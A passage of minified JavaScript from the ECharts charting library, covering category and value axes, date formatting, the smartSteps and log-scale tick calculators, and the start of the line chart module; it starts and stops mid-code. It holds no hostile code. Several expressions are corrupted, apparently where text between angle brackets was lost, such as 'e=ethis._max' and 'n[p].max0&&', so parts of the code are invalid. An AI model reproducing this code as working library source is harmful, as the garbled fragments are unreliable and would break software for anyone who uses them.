u,y=this.grid.getX(),g=this.grid.getXend(),c=0;i>c;c+=this._interval)(!h||h(c,t[c]))&&(u=this.subPixelOptimize(this.getCoordByIndex(c)-V,r),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:y,yStart:u,xEnd:g,yEnd:u,strokeColor:s[c/this._interval%l],lineType:o,lineWidth:r}},this.shapeList.push(new a(e)))},_buildSplitArea:function(){var e,t=this.option.data,i=this.option.splitArea,n=i.areaStyle.color;if(n instanceof Array){var a=n.length,r=this.option.data.length,s="function"==typeof this.option.axisLabel.interval?this.option.axisLabel.interval:!1,l=i.onGap,h=l?this.getGap()/2:"undefined"==typeof l&&this.option.boundaryGap?this.getGap()/2:0;if(this.isHorizontal())for(var m,V=this.grid.getY(),U=this.grid.getHeight(),d=this.grid.getX(),p=0;r>=p;p+=this._interval)s&&!s(p,t[p])&&r>p||(m=r>p?this.getCoordByIndex(p)+h:this.grid.getXend(),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:d,y:V,width:m-d,height:U,color:n[p/this._interval%a]}},this.shapeList.push(new o(e)),d=m);else for(var c,u=this.grid.getX(),y=this.grid.getWidth(),g=this.grid.getYend(),p=0;r>=p;p+=this._interval)s&&!s(p,t[p])&&r>p||(c=r>p?this.getCoordByIndex(p)-h:this.grid.getY(),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:u,y:c,width:y,height:g-c,color:n[p/this._interval%a]}},this.shapeList.push(new o(e)),g=c)}else e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this.grid.getX(),y:this.grid.getY(),width:this.grid.getWidth(),height:this.grid.getHeight(),color:n}},this.shapeList.push(new o(e))},refresh:function(e){e&&(this.option=this.reformOption(e),this.option.axisLabel.textStyle=this.getTextStyle(this.option.axisLabel.textStyle)),this.clear(),this._buildShape()},getGap:function(){var e=this.option.data.length,t=this.isHorizontal()?this.grid.getWidth():this.grid.getHeight();return this.option.boundaryGap?t/e:t/(e>1?e-1:1)},getCoord:function(e){for(var t=this.option.data,i=t.length,n=this.getGap(),a=this.option.boundaryGap?n/2:0,o=0;i>o;o++){if(this.getDataFromOption(t[o])==e)return a=this.isHorizontal()?this.grid.getX()+a:this.grid.getYend()-a;a+=n}},getCoordByIndex:function(e){if(0>e)return this.isHorizontal()?this.grid.getX():this.grid.getYend();if(e>this.option.data.length-1)return this.isHorizontal()?this.grid.getXend():this.grid.getY();var t=this.getGap(),i=this.option.boundaryGap?t/2:0;return i+=e*t,i=this.isHorizontal()?this.grid.getX()+i:this.grid.getYend()-i},getNameByIndex:function(e){return this.getDataFromOption(this.option.data[e])},getIndexByName:function(e){for(var t=this.option.data,i=t.length,n=0;i>n;n++)if(this.getDataFromOption(t[n])==e)return n;return-1},getValueFromCoord:function(){return""},isMainAxis:function(e){return e%this._interval===0}},s.inherits(t,i),e("../component").define("categoryAxis",t),t}),i("echarts/component/valueAxis",["require","./base","zrender/shape/Text","zrender/shape/Line","zrender/shape/Rectangle","../config","../util/date","zrender/tool/util","../util/smartSteps","../util/accMath","../util/smartLogSteps","../component"],function(e){function t(e,t,n,a,o,r,s){if(!s||0===s.length)return void console.err("option.series.length == 0.");i.call(this,e,t,n,a,o),this.series=s,this.grid=this.component.grid;for(var l in r)this[l]=r[l];this.refresh(a,s)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Line"),o=e("zrender/shape/Rectangle"),r=e("../config");r.valueAxis={zlevel:0,z:0,show:!0,position:"left",name:"",nameLocation:"end",nameTextStyle:{},boundaryGap:[0,0],axisLine:{show:!0,onZero:!0,lineStyle:{color:"#48b",width:2,type:"solid"}},axisTick:{show:!1,inside:!1,length:5,lineStyle:{color:"#333",width:1}},axisLabel:{show:!0,rotate:0,margin:8,textStyle:{color:"#333"}},splitLine:{show:!0,lineStyle:{color:["#ccc"],width:1,type:"solid"}},splitArea:{show:!1,areaStyle:{color:["rgba(250,250,250,0.3)","rgba(200,200,200,0.3)"]}}};var s=e("../util/date"),l=e("zrender/tool/util");return t.prototype={type:r.COMPONENT_TYPE_AXIS_VALUE,_buildShape:function(){if(this._hasData=!1,this._calculateValue(),this._hasData&&this.option.show){this.option.splitArea.show&&this._buildSplitArea(),this.option.splitLine.show&&this._buildSplitLine(),this.option.axisLine.show&&this._buildAxisLine(),this.option.axisTick.show&&this._buildAxisTick(),this.option.axisLabel.show&&this._buildAxisLabel();for(var e=0,t=this.shapeList.length;t>e;e++)this.zr.addShape(this.shapeList[e])}},_buildAxisTick:function(){var e,t=this._valueList,i=this._valueList.length,n=this.option.axisTick,o=n.length,r=n.lineStyle.color,s=n.lineStyle.width;if(this.isHorizontal())for(var l,h="bottom"===this.option.position?n.inside?this.grid.getYend()-o-1:this.grid.getYend()+1:n.inside?this.grid.getY()+1:this.grid.getY()-o-1,m=0;i>m;m++)l=this.subPixelOptimize(this.getCoord(t[m]),s),e={_axisShape:"axisTick",zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:l,yStart:h,xEnd:l,yEnd:h+o,strokeColor:r,lineWidth:s}},this.shapeList.push(new a(e));else for(var V,U="left"===this.option.position?n.inside?this.grid.getX()+1:this.grid.getX()-o-1:n.inside?this.grid.getXend()-o-1:this.grid.getXend()+1,m=0;i>m;m++)V=this.subPixelOptimize(this.getCoord(t[m]),s),e={_axisShape:"axisTick",zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:U,yStart:V,xEnd:U+o,yEnd:V,strokeColor:r,lineWidth:s}},this.shapeList.push(new a(e))},_buildAxisLabel:function(){var e,t=this._valueList,i=this._valueList.length,a=this.option.axisLabel.rotate,o=this.option.axisLabel.margin,r=this.option.axisLabel.clickable,s=this.option.axisLabel.textStyle;if(this.isHorizontal()){var l,h;"bottom"===this.option.position?(l=this.grid.getYend()+o,h="top"):(l=this.grid.getY()-o,h="bottom");for(var m=0;i>m;m++)e={zlevel:this.getZlevelBase(),z:this.getZBase()+3,hoverable:!1,style:{x:this.getCoord(t[m]),y:l,color:"function"==typeof s.color?s.color(t[m]):s.color,text:this._valueLabel[m],textFont:this.getFont(s),textAlign:s.align||"center",textBaseline:s.baseline||h}},a&&(e.style.textAlign=a>0?"bottom"===this.option.position?"right":"left":"bottom"===this.option.position?"left":"right",e.rotation=[a*Math.PI/180,e.style.x,e.style.y]),this.shapeList.push(new n(this._axisLabelClickable(r,e)))}else{var V,U;"left"===this.option.position?(V=this.grid.getX()-o,U="right"):(V=this.grid.getXend()+o,U="left");for(var m=0;i>m;m++)e={zlevel:this.getZlevelBase(),z:this.getZBase()+3,hoverable:!1,style:{x:V,y:this.getCoord(t[m]),color:"function"==typeof s.color?s.color(t[m]):s.color,text:this._valueLabel[m],textFont:this.getFont(s),textAlign:s.align||U,textBaseline:s.baseline||(0===m&&""!==this.option.name?"bottom":m===i-1&&""!==this.option.name?"top":"middle")}},a&&(e.rotation=[a*Math.PI/180,e.style.x,e.style.y]),this.shapeList.push(new n(this._axisLabelClickable(r,e)))}},_buildSplitLine:function(){var e,t=this._valueList,i=this._valueList.length,n=this.option.splitLine,o=n.lineStyle.type,r=n.lineStyle.width,s=n.lineStyle.color;s=s instanceof Array?s:[s];var l=s.length;if(this.isHorizontal())for(var h,m=this.grid.getY(),V=this.grid.getYend(),U=0;i>U;U++)h=this.subPixelOptimize(this.getCoord(t[U]),r),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:h,yStart:m,xEnd:h,yEnd:V,strokeColor:s[U%l],lineType:o,lineWidth:r}},this.shapeList.push(new a(e));else for(var d,p=this.grid.getX(),c=this.grid.getXend(),U=0;i>U;U++)d=this.subPixelOptimize(this.getCoord(t[U]),r),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:p,yStart:d,xEnd:c,yEnd:d,strokeColor:s[U%l],lineType:o,lineWidth:r}},this.shapeList.push(new a(e))},_buildSplitArea:function(){var e,t=this.option.splitArea.areaStyle.color;if(t instanceof Array){var i=t.length,n=this._valueList,a=this._valueList.length;if(this.isHorizontal())for(var r,s=this.grid.getY(),l=this.grid.getHeight(),h=this.grid.getX(),m=0;a>=m;m++)r=a>m?this.getCoord(n[m]):this.grid.getXend(),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:h,y:s,width:r-h,height:l,color:t[m%i]}},this.shapeList.push(new o(e)),h=r;else for(var V,U=this.grid.getX(),d=this.grid.getWidth(),p=this.grid.getYend(),m=0;a>=m;m++)V=a>m?this.getCoord(n[m]):this.grid.getY(),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:U,y:V,width:d,height:p-V,color:t[m%i]}},this.shapeList.push(new o(e)),p=V}else e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this.grid.getX(),y:this.grid.getY(),width:this.grid.getWidth(),height:this.grid.getHeight(),color:t}},this.shapeList.push(new o(e))},_calculateValue:function(){if(isNaN(this.option.min-0)||isNaN(this.option.max-0)){for(var e,t,i={},n=this.component.legend,a=0,o=this.series.length;o>a;a++)!(this.series[a].type!=r.CHART_TYPE_LINE&&this.series[a].type!=r.CHART_TYPE_BAR&&this.series[a].type!=r.CHART_TYPE_SCATTER&&this.series[a].type!=r.CHART_TYPE_K&&this.series[a].type!=r.CHART_TYPE_EVENTRIVER||n&&!n.isSelected(this.series[a].name)||(e=this.series[a].xAxisIndex||0,t=this.series[a].yAxisIndex||0,this.option.xAxisIndex!=e&&this.option.yAxisIndex!=t||!this._calculSum(i,a)));var s;for(var a in i){s=i[a];for(var l=0,h=s.length;h>l;l++)if(!isNaN(s[l])){this._hasData=!0,this._min=s[l],this._max=s[l];break}if(this._hasData)break}for(var a in i){s=i[a];for(var l=0,h=s.length;h>l;l++)isNaN(s[l])||(this._min=Math.min(this._min,s[l]),this._max=Math.max(this._max,s[l]))}var m="log"!==this.option.type?this.option.boundaryGap:[0,0],V=Math.abs(this._max-this._min);this._min=isNaN(this.option.min-0)?this._min-Math.abs(V*m[0]):this.option.min-0,this._max=isNaN(this.option.max-0)?this._max+Math.abs(V*m[1]):this.option.max-0,this._min===this._max&&(0===this._max?this._max=1:this._max>0?this._min=this._max/this.option.splitNumber!=null?this.option.splitNumber:5:this._max=this._max/this.option.splitNumber!=null?this.option.splitNumber:5),"time"===this.option.type?this._reformTimeValue():"log"===this.option.type?this._reformLogValue():this._reformValue(this.option.scale)}else this._hasData=!0,this._min=this.option.min-0,this._max=this.option.max-0,"time"===this.option.type?this._reformTimeValue():"log"===this.option.type?this._reformLogValue():this._customerValue()},_calculSum:function(e,t){var i,n,a=this.series[t].name||"kener";if(this.series[t].stack){var o="__Magic_Key_Positive__"+this.series[t].stack,l="__Magic_Key_Negative__"+this.series[t].stack;e[o]=e[o]||[],e[l]=e[l]||[],e[a]=e[a]||[],n=this.series[t].data;for(var h=0,m=n.length;m>h;h++)i=this.getDataFromOption(n[h]),"-"!==i&&(i-=0,i>=0?null!=e[o][h]?e[o][h]+=i:e[o][h]=i:null!=e[l][h]?e[l][h]+=i:e[l][h]=i,this.option.scale&&e[a].push(i))}else if(e[a]=e[a]||[],this.series[t].type!=r.CHART_TYPE_EVENTRIVER){n=this.series[t].data;for(var h=0,m=n.length;m>h;h++)i=this.getDataFromOption(n[h]),this.series[t].type===r.CHART_TYPE_K?(e[a].push(i[0]),e[a].push(i[1]),e[a].push(i[2]),e[a].push(i[3])):i instanceof Array?(-1!=this.option.xAxisIndex&&e[a].push("time"!=this.option.type?i[0]:s.getNewDate(i[0])),-1!=this.option.yAxisIndex&&e[a].push("time"!=this.option.type?i[1]:s.getNewDate(i[1]))):e[a].push(i)}else{n=this.series[t].data;for(var h=0,m=n.length;m>h;h++)for(var V=n[h].evolution,U=0,d=V.length;d>U;U++)e[a].push(s.getNewDate(V[U].time))}},_reformValue:function(t){var i=e("../util/smartSteps"),n=this.option.splitNumber;!t&&this._min>=0&&this._max>=0&&(this._min=0),!t&&this._min<=0&&this._max<=0&&(this._max=0);var a=i(this._min,this._max,n);n=null!=n?n:a.secs,this._min=a.min,this._max=a.max,this._valueList=a.pnts,this._reformLabelData()},_reformTimeValue:function(){var e=null!=this.option.splitNumber?this.option.splitNumber:5,t=s.getAutoFormatter(this._min,this._max,e),i=t.formatter,n=t.gapValue;this._valueList=[s.getNewDate(this._min)];var a;switch(i){case"week":a=s.nextMonday(this._min);break;case"month":a=s.nextNthOnMonth(this._min,1);break;case"quarter":a=s.nextNthOnQuarterYear(this._min,1);break;case"half-year":a=s.nextNthOnHalfYear(this._min,1);break;case"year":a=s.nextNthOnYear(this._min,1);break;default:72e5>=n?a=(Math.floor(this._min/n)+1)*n:(a=s.getNewDate(this._min- -n),a.setHours(6*Math.round(a.getHours()/6)),a.setMinutes(0),a.setSeconds(0))}for(a-this._min=0&&(("month"==i||"quarter"==i||"half-year"==i||"year"==i)&&t.setDate(1),!(this._max-t=a;a++)this._valueList.push(t.accAdd(this._min,t.accMul(n,a)));this._reformLabelData()},_reformLogValue:function(){var t=this.option,i=e("../util/smartLogSteps")({dataMin:this._min,dataMax:this._max,logPositive:t.logPositive,logLabelBase:t.logLabelBase,splitNumber:t.splitNumber});this._min=i.dataMin,this._max=i.dataMax,this._valueList=i.tickList,this._dataMappingMethods=i.dataMappingMethods,this._reformLabelData(i.labelFormatter)},_reformLabelData:function(e){this._valueLabel=[];var t=this.option.axisLabel.formatter;if(t)for(var i=0,n=this._valueList.length;n>i;i++)"function"==typeof t?this._valueLabel.push(e?t.call(this.myChart,this._valueList[i],e):t.call(this.myChart,this._valueList[i])):"string"==typeof t&&this._valueLabel.push(e?s.format(t,this._valueList[i]):t.replace("{value}",this._valueList[i]));else for(var i=0,n=this._valueList.length;n>i;i++)this._valueLabel.push(e?e(this._valueList[i]):this.numAddCommas(this._valueList[i]))},getExtremum:function(){this._calculateValue();var e=this._dataMappingMethods;return{min:this._min,max:this._max,dataMappingMethods:e?l.merge({},e):null}},refresh:function(e,t){e&&(this.option=this.reformOption(e),this.option.axisLabel.textStyle=l.merge(this.option.axisLabel.textStyle||{},this.ecTheme.textStyle),this.series=t),this.zr&&(this.clear(),this._buildShape())},getCoord:function(e){this._dataMappingMethods&&(e=this._dataMappingMethods.value2Coord(e)),e=ethis._max?this._max:e;var t;return t=this.isHorizontal()?this.grid.getX()+(e-this._min)/(this._max-this._min)*this.grid.getWidth():this.grid.getYend()-(e-this._min)/(this._max-this._min)*this.grid.getHeight()},getCoordSize:function(e){return Math.abs(this.isHorizontal()?e/(this._max-this._min)*this.grid.getWidth():e/(this._max-this._min)*this.grid.getHeight())},getValueFromCoord:function(e){var t;return this.isHorizontal()?(e=ethis.grid.getXend()?this.grid.getXend():e,t=this._min+(e-this.grid.getX())/this.grid.getWidth()*(this._max-this._min)):(e=ethis.grid.getYend()?this.grid.getYend():e,t=this._max-(e-this.grid.getY())/this.grid.getHeight()*(this._max-this._min)),this._dataMappingMethods&&(t=this._dataMappingMethods.coord2Value(t)),t.toFixed(2)-0},isMaindAxis:function(e){for(var t=0,i=this._valueList.length;i>t;t++)if(this._valueList[t]===e)return!0;return!1}},l.inherits(t,i),e("../component").define("valueAxis",t),t}),i("echarts/util/date",[],function(){function e(e,t,i){i=i>1?i:2;for(var n,a,o,r,s=0,l=m.length;l>s;s++)if(n=m[s].value,a=Math.ceil(t/n)*n-Math.floor(e/n)*n,Math.round(a/n)<=1.2*i){o=m[s].formatter,r=m[s].value;break}return null==o&&(o="year",n=317088e5,a=Math.ceil(t/n)*n-Math.floor(e/n)*n,r=Math.round(a/(i-1)/n)*n),{formatter:o,gapValue:r}}function t(e){return 10>e?"0"+e:e}function i(e,i){("week"==e||"month"==e||"quarter"==e||"half-year"==e||"year"==e)&&(e="MM - dd\nyyyy");var n=h(i),a=n.getFullYear(),o=n.getMonth()+1,r=n.getDate(),s=n.getHours(),l=n.getMinutes(),m=n.getSeconds();return e=e.replace("MM",t(o)),e=e.toLowerCase(),e=e.replace("yyyy",a),e=e.replace("yy",a%100),e=e.replace("dd",t(r)),e=e.replace("d",r),e=e.replace("hh",t(s)),e=e.replace("h",s),e=e.replace("mm",t(l)),e=e.replace("m",l),e=e.replace("ss",t(m)),e=e.replace("s",m)}function n(e){return e=h(e),e.setDate(e.getDate()+8-e.getDay()),e}function a(e,t,i){return e=h(e),e.setMonth(Math.ceil((e.getMonth()+1)/i)*i),e.setDate(t),e}function o(e,t){return a(e,t,1)}function r(e,t){return a(e,t,3)}function s(e,t){return a(e,t,6)}function l(e,t){return a(e,t,12)}function h(e){return e instanceof Date?e:new Date("string"==typeof e?e.replace(/-/g,"/"):e)}var m=[{formatter:"hh : mm : ss",value:1e3},{formatter:"hh : mm : ss",value:5e3},{formatter:"hh : mm : ss",value:1e4},{formatter:"hh : mm : ss",value:15e3},{formatter:"hh : mm : ss",value:3e4},{formatter:"hh : mm\nMM - dd",value:6e4},{formatter:"hh : mm\nMM - dd",value:3e5},{formatter:"hh : mm\nMM - dd",value:6e5},{formatter:"hh : mm\nMM - dd",value:9e5},{formatter:"hh : mm\nMM - dd",value:18e5},{formatter:"hh : mm\nMM - dd",value:36e5},{formatter:"hh : mm\nMM - dd",value:72e5},{formatter:"hh : mm\nMM - dd",value:216e5},{formatter:"hh : mm\nMM - dd",value:432e5},{formatter:"MM - dd\nyyyy",value:864e5},{formatter:"week",value:6048e5},{formatter:"month",value:26784e5},{formatter:"quarter",value:8208e6},{formatter:"half-year",value:16416e6},{formatter:"year",value:32832e6}];return{getAutoFormatter:e,getNewDate:h,format:i,nextMonday:n,nextNthPerNmonth:a,nextNthOnMonth:o,nextNthOnQuarterYear:r,nextNthOnHalfYear:s,nextNthOnYear:l}}),i("echarts/util/smartSteps",[],function(){function e(e){return X.log(I(e))/X.LN10}function t(e){return X.pow(10,e)}function i(e){return e===w(e)}function n(e,t,n,a){b=a||{},f=b.steps||L,k=b.secs||W,n=v(+n||0)%99,e=+e||0,t=+t||0,x=_=0,"min"in b&&(e=+b.min||0,x=1),"max"in b&&(t=+b.max||0,_=1),e>t&&(t=[e,e=t][0]);var o=t-e;if(x&&_)return g(e,t,n);if((n||5)>o){if(i(e)&&i(t))return d(e,t,n);if(0===o)return p(e,t,n)}return h(e,t,n)}function a(e,i,n,a){a=a||0;var s=o((i-e)/n,-1),l=o(e,-1,1),h=o(i,-1),m=X.min(s.e,l.e,h.e);0===l.c?m=X.min(s.e,h.e):0===h.c&&(m=X.min(s.e,l.e)),r(s,{c:0,e:m}),r(l,s,1),r(h,s),a+=m,e=l.c,i=h.c;for(var V=(i-e)/n,U=t(a),d=0,p=[],c=n+1;c--;)p[c]=(e+V*c)*U;if(0>a){d=u(U),V=+(V*U).toFixed(d),e=+(e*U).toFixed(d),i=+(i*U).toFixed(d);for(var c=p.length;c--;)p[c]=p[c].toFixed(d),0===+p[c]&&(p[c]="0")}else e*=U,i*=U,V*=U;return k=0,f=0,b=0,{min:e,max:i,secs:n,step:V,fix:d,exp:a,pnts:p}}function o(n,a,o){a=v(a%10)||2,0>a&&(i(n)?a=(""+I(n)).replace(/0+$/,"").length||1:(n=n.toFixed(15).replace(/0+$/,""),a=n.replace(".","").replace(/^[-0]+/,"").length,n=+n));var r=w(e(n))-a+1,s=+(n*t(-r)).toFixed(15)||0;return s=o?w(s):K(s),!s&&(r=0),(""+I(s)).length>a&&(r+=1,s/=10),{c:s,e:r}}function r(e,i,n){var a=i.e-e.e;a&&(e.e+=a,e.c*=t(-a),e.c=n?w(e.c):K(e.c))}function s(e,t,i){e.et[n];)n++;if(!t[n])for(i/=10,e.e+=1,n=0;i>t[n];)n++;return e.c=t[n],e}function h(e,t,n){var s,h=n||+k.slice(-1),p=l((t-e)/h,f),u=o(t-e),g=o(e,-1,1),b=o(t,-1);if(r(u,p),r(g,p,1),r(b,p),n?s=V(g,b,h):h=m(g,b),i(e)&&i(t)&&e*t>=0){if(h>t-e)return d(e,t,h);h=U(e,t,n,g,b,h)}var L=c(e,t,g.c,b.c);return g.c=L[0],b.c=L[1],(x||_)&&y(e,t,g,b),a(g.c,b.c,h,b.e)}function m(e,i){for(var n,a,o,r,s=[],h=k.length;h--;)n=k[h],a=l((i.c-e.c)/n,f),a=a.c*t(a.e),o=w(e.c/a)*a,r=K(i.c/a)*a,s[h]={min:o,max:r,step:a,span:r-o};return s.sort(function(e,t){var i=e.span-t.span;return 0===i&&(i=e.step-t.step),i}),s=s[0],n=s.span/s.step,e.c=s.min,i.c=s.max,3>n?2*n:n}function V(e,i,n){for(var a,o,r=i.c,s=(i.c-e.c)/n-1;r>e.c;)s=l(s+1,f),s=s.c*t(s.e),a=s*n,o=K(i.c/s)*s,r=o-a;var h=e.c-r,m=o-i.c,V=h-m;return V>1.1*s&&(V=v(V/s/2)*s,r+=V,o+=V),e.c=r,i.c=o,s}function U(e,n,a,o,r,s){var l=r.c-o.c,h=l/s*t(r.e);if(!i(h)&&(h=w(h),l=h*s,n-e>l&&(h+=1,l=h*s,!a&&h*(s-1)>=n-e&&(s-=1,l=h*s)),l>=n-e)){var m=l-(n-e);o.c=v(e-m/2),r.c=v(n+m/2),o.e=0,r.e=0}return s}function d(e,t,i){if(i=i||5,x)t=e+i;else if(_)e=t-i;else{var n=i-(t-e),o=v(e-n/2),r=v(t+n/2),s=c(e,t,o,r);e=s[0],t=s[1]}return a(e,t,i)}function p(e,t,i){i=i||5;var n=X.min(I(t/i),i)/2.1;return x?t=e+n:_?e=t-n:(e-=n,t+=n),h(e,t,i)}function c(e,t,i,n){ +return e>=0&&0>i?(n-=i,i=0):0>=t&&n>0&&(i-=n,n=0),[i,n]}function u(e){return e=(+e).toFixed(15).split("."),e.pop().replace(/0+$/,"").length}function y(e,t,i,n){if(x){var a=o(e,4,1);i.e-a.e>6&&(a={c:0,e:i.e}),s(i,a),s(n,a),n.c+=a.c-i.c,i.c=a.c}else if(_){var r=o(t,4);n.e-r.e>6&&(r={c:0,e:n.e}),s(i,r),s(n,r),i.c+=r.c-n.c,n.c=r.c}}function g(e,t,i){var n=i?[i]:k,s=t-e;if(0===s)return t=o(t,3),i=n[0],t.c=v(t.c+i/2),a(t.c-i,t.c,i,t.e);I(t/s)<1e-6&&(t=0),I(e/s)<1e-6&&(e=0);var l,h,m,V=[[5,10],[10,2],[50,10],[100,2]],U=[],d=[],p=o(t-e,3),c=o(e,-1,1),u=o(t,-1);r(c,p,1),r(u,p),s=u.c-c.c,p.c=s;for(var y=n.length;y--;){i=n[y],l=K(s/i),h=l*i-s,m=3*(h+3),m+=2*(i-n[0]+2),i%5===0&&(m-=10);for(var g=V.length;g--;)l%V[g][0]===0&&(m/=V[g][1]);d[y]=[i,l,h,m].join(),U[y]={secs:i,step:l,delta:h,score:m}}return U.sort(function(e,t){return e.score-t.score}),U=U[0],c.c=v(c.c-U.delta/2),u.c=v(u.c+U.delta/2),a(c.c,u.c,U.secs,p.e)}var b,f,k,x,_,L=[10,20,25,50],W=[4,5,6],X=Math,v=X.round,w=X.floor,K=X.ceil,I=X.abs;return n}),i("echarts/util/smartLogSteps",["require","./number"],function(e){function t(e){return i(),u=e||{},n(),a(),[o(),i()][0]}function i(){U=u=g=c=b=f=y=k=d=p=null}function n(){d=u.logLabelBase,null==d?(p="plain",d=10,c=I):(d=+d,1>d&&(d=10),p="exponent",c=L(d)),y=u.splitNumber,null==y&&(y=E);var e=parseFloat(u.dataMin),t=parseFloat(u.dataMax);isFinite(e)||isFinite(t)?isFinite(e)?isFinite(t)?e>t&&(t=[e,e=t][0]):t=e:e=t:e=t=1,U=u.logPositive,null==U&&(U=t>0||0===e),b=U?e:-t,f=U?t:-e,S>b&&(b=S),S>f&&(f=S)}function a(){function e(){y>m&&(y=m);var e=w(l(m/y)),t=v(l(m/e)),i=e*t,n=(i-U)/2,a=w(l(r-n));V(a-r)&&(a-=1),g=-a*c;for(var s=a;o>=s-e;s+=e)k.push(W(d,s))}function t(){for(var e=i(h,0),t=e+2;t>e&&a(e+1)+n(e+1)*Ct&&a(l-1)+n(l-1)*C>o;)l--;g=-(a(e)*I+n(e)*J);for(var m=e;l>=m;m++){var V=a(m),U=n(m);k.push(W(10,V)*W(2,U))}}function i(e,t){return 3*e+t}function n(e){return e-3*a(e)}function a(e){return w(l(e/3))}k=[];var o=l(L(f)/c),r=l(L(b)/c),s=v(o),h=w(r),m=s-h,U=o-r;"exponent"===p?e():F>=m&&y>F?t():e()}function o(){for(var e=[],t=0,i=k.length;i>t;t++)e[t]=(U?1:-1)*k[t];!U&&e.reverse();var n=s(),a=n.value2Coord,o=a(e[0]),l=a(e[e.length-1]);return o===l&&(o-=1,l+=1),{dataMin:o,dataMax:l,tickList:e,logPositive:U,labelFormatter:r(),dataMappingMethods:n}}function r(){if("exponent"===p){var e=d,t=c;return function(i){if(!isFinite(parseFloat(i)))return"";var n="";return 0>i&&(i=-i,n="-"),n+e+m(L(i)/t)}}return function(e){return isFinite(parseFloat(e))?x.addCommas(h(e)):""}}function s(){var e=U,t=g;return{value2Coord:function(i){return null==i||isNaN(i)||!isFinite(i)?i:(i=parseFloat(i),isFinite(i)?e&&S>i?i=S:!e&&i>-S&&(i=-S):i=S,i=X(i),(e?1:-1)*(L(i)+t))},coord2Value:function(i){return null==i||isNaN(i)||!isFinite(i)?i:(i=parseFloat(i),isFinite(i)||(i=S),e?W(K,i-t):-W(K,-i+t))}}}function l(e){return+Number(+e).toFixed(14)}function h(e){return Number(e).toFixed(15).replace(/\.?0*$/,"")}function m(e){e=h(Math.round(e));for(var t=[],i=0,n=e.length;n>i;i++){var a=e.charAt(i);t.push(T[a]||"")}return t.join("")}function V(e){return e>-S&&S>e}var U,d,p,c,u,y,g,b,f,k,x=e("./number"),_=Math,L=_.log,W=_.pow,X=_.abs,v=_.ceil,w=_.floor,K=_.E,I=_.LN10,J=_.LN2,C=J/I,S=1e-9,E=5,F=2,T={0:"⁰",1:"¹",2:"²",3:"³",4:"⁴",5:"⁵",6:"⁶",7:"⁷",8:"⁸",9:"⁹","-":"⁻"};return t}),i("echarts/chart/line",["require","./base","zrender/shape/Polyline","../util/shape/Icon","../util/shape/HalfSmoothPolygon","../component/axis","../component/grid","../component/dataZoom","../config","../util/ecData","zrender/tool/util","zrender/tool/color","../chart"],function(e){function t(e,t,i,a,o){n.call(this,e,t,i,a,o),this.refresh(a)}function i(e,t,i){var n=t.x,a=t.y,r=t.width,s=t.height,l=s/2;t.symbol.match("empty")&&(e.fillStyle="#fff"),t.brushType="both";var h=t.symbol.replace("empty","").toLowerCase();h.match("star")?(l=h.replace("star","")-0||5,a-=1,h="star"):("rectangle"===h||"arrow"===h)&&(n+=(r-s)/2,r=s);var m="";if(h.match("image")&&(m=h.replace(new RegExp("^image:\\/\\/"),""),h="image",n+=Math.round((r-s)/2)-1,r=s+=2),h=o.prototype.iconLibrary[h]){var V=t.x,U=t.y;e.moveTo(V,U+l),e.lineTo(V+5,U+l),e.moveTo(V+t.width-5,U+l),e.lineTo(V+t.width,U+l);var d=this;h(e,{x:n+4,y:a+4,width:r-8,height:s-8,n:l,image:m},function(){d.modSelf(),i()})}else e.moveTo(n,a+l),e.lineTo(n+r,a+l)}var n=e("./base"),a=e("zrender/shape/Polyline"),o=e("../util/shape/Icon"),r=e("../util/shape/HalfSmoothPolygon");e("../component/axis"),e("../component/grid"),e("../component/dataZoom");var s=e("../config");s.line={zlevel:0,z:2,clickable:!0,legendHoverLink:!0,xAxisIndex:0,yAxisIndex:0,dataFilter:"nearest",itemStyle:{normal:{label:{show:!1},lineStyle:{width:2,type:"solid",shadowColor:"rgba(0,0,0,0)",shadowBlur:0,shadowOffsetX:0,shadowOffsetY:0}},emphasis:{label:{show:!1}}},symbolSize:2,showAllSymbol:!1};var l=e("../util/ecData"),h=e("zrender/tool/util"),m=e("zrender/tool/color");return t.prototype={type:s.CHART_TYPE_LINE,_buildShape:function(){this.finalPLMap={},this._buildPosition()},_buildHorizontal:function(e,t,i,n){for(var a,o,r,s,l,h,m,V,U,d=this.series,p=i[0][0],c=d[p],u=this.component.xAxis.getAxis(c.xAxisIndex||0),y={},g=0,b=t;b>g&&null!=u.getNameByIndex(g);g++){o=u.getCoordByIndex(g);for(var f=0,k=i.length;k>f;f++){a=this.component.yAxis.getAxis(d[i[f][0]].yAxisIndex||0),l=s=m=h=a.getCoord(0);for(var x=0,_=i[f].length;_>x;x++)p=i[f][x],c=d[p],V=c.data[g],U=this.getDataFromOption(V,"-"),y[p]=y[p]||[],n[p]=n[p]||{min:Number.POSITIVE_INFINITY,max:Number.NEGATIVE_INFINITY,sum:0,counter:0,average:0},"-"!==U?(U>=0?(s-=x>0?a.getCoordSize(U):l-a.getCoord(U),r=s):0>U&&(h+=x>0?a.getCoordSize(U):a.getCoord(U)-m,r=h),y[p].push([o,r,g,u.getNameByIndex(g),o,l]),n[p].min>U&&(n[p].min=U,n[p].minY=r,n[p].minX=o),n[p].max0&&(this.finalPLMap[p]=this.finalPLMap[p]||[],this.finalPLMap[p].push(y[p]),y[p]=[])}s=this.component.grid.getY();for(var L,f=0,k=i.length;k>f;f++)for(var x=0,_=i[f].length;_>x;x++)p=i[f][x],c=d[p],V=c.data[g],U=this.getDataFromOption(V,"-"),"-"==U&&this.deepQuery([V,c,this.option],"calculable")&&(L=this.deepQuery([V,c],"symbolSize"),s+=2*L+5,r=s,this.shapeList.push(this._getCalculableItem(p,g,u.getNameByIndex(g),o,r,"horizontal")))}for(var W in 